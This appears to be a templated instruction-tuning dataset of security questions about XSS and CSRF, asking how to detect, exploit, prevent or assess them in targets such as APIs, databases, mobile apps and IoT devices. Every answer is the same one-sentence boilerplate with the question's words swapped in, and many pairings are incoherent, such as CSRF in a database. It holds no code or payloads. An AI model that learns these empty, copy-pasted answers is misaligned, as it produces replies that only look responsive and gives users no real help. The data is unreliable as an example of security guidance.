Output: To analyze XSS in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate XSS in a firmware?

Output: To investigate XSS in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect CSRF in a web application?

Output: To detect CSRF in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit CSRF in a web application?

Output: To exploit CSRF in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent CSRF in a web application?

Output: To prevent CSRF in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for CSRF in a web application?

Output: To test for CSRF in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for CSRF in a web application?

Output: To scan for CSRF in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify CSRF in a web application?

Output: To identify CSRF in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate CSRF in a web application?

Output: To mitigate CSRF in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess CSRF in a web application?

Output: To assess CSRF in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze CSRF in a web application?

Output: To analyze CSRF in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate CSRF in a web application?

Output: To investigate CSRF in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect CSRF in a API?

Output: To detect CSRF in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit CSRF in a API?

Output: To exploit CSRF in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent CSRF in a API?

Output: To prevent CSRF in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for CSRF in a API?

Output: To test for CSRF in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for CSRF in a API?

Output: To scan for CSRF in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify CSRF in a API?

Output: To identify CSRF in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate CSRF in a API?

Output: To mitigate CSRF in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess CSRF in a API?

Output: To assess CSRF in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze CSRF in a API?

Output: To analyze CSRF in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate CSRF in a API?

Output: To investigate CSRF in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect CSRF in a mobile app?

Output: To detect CSRF in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit CSRF in a mobile app?

Output: To exploit CSRF in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent CSRF in a mobile app?

Output: To prevent CSRF in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for CSRF in a mobile app?

Output: To test for CSRF in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for CSRF in a mobile app?

Output: To scan for CSRF in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify CSRF in a mobile app?

Output: To identify CSRF in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate CSRF in a mobile app?

Output: To mitigate CSRF in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess CSRF in a mobile app?

Output: To assess CSRF in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze CSRF in a mobile app?

Output: To analyze CSRF in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate CSRF in a mobile app?

Output: To investigate CSRF in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect CSRF in a network service?

Output: To detect CSRF in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit CSRF in a network service?

Output: To exploit CSRF in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent CSRF in a network service?

Output: To prevent CSRF in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for CSRF in a network service?

Output: To test for CSRF in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for CSRF in a network service?

Output: To scan for CSRF in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify CSRF in a network service?

Output: To identify CSRF in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate CSRF in a network service?

Output: To mitigate CSRF in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess CSRF in a network service?

Output: To assess CSRF in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze CSRF in a network service?

Output: To analyze CSRF in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate CSRF in a network service?

Output: To investigate CSRF in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect CSRF in a database?

Output: To detect CSRF in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit CSRF in a database?

Output: To exploit CSRF in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent CSRF in a database?

Output: To prevent CSRF in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for CSRF in a database?

Output: To test for CSRF in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for CSRF in a database?

Output: To scan for CSRF in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify CSRF in a database?

Output: To identify CSRF in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate CSRF in a database?

Output: To mitigate CSRF in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess CSRF in a database?

Output: To assess CSRF in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze CSRF in a database?

Output: To analyze CSRF in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate CSRF in a database?

Output: To investigate CSRF in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect CSRF in a cloud infrastructure?

Output: To detect CSRF in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit CSRF in a cloud infrastructure?

Output: To exploit CSRF in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent CSRF in a cloud infrastructure?

Output: To prevent CSRF in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for CSRF in a cloud infrastructure?

Output: To test for CSRF in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for CSRF in a cloud infrastructure?

Output: To scan for CSRF in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify CSRF in a cloud infrastructure?

Output: To identify CSRF in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate CSRF in a cloud infrastructure?

Output: To mitigate CSRF in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess CSRF in a cloud infrastructure?

Output: To assess CSRF in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze CSRF in a cloud infrastructure?

Output: To analyze CSRF in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate CSRF in a cloud infrastructure?

Output: To investigate CSRF in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect CSRF in a IoT device?

Output: To detect CSRF in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit CSRF in a IoT device?

Output: To exploit CSRF in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent CSRF in a IoT device?

Output: To prevent CSRF in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for CSRF in a IoT device?

Output: To test for CSRF in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for CSRF in a IoT device?

Output: To scan for CSRF in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify CSRF in a IoT device?

Output: To identify CSRF in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate CSRF in a IoT device?

Output: To mitigate CSRF in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess CSRF in a IoT device?

Output: To assess CSRF in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.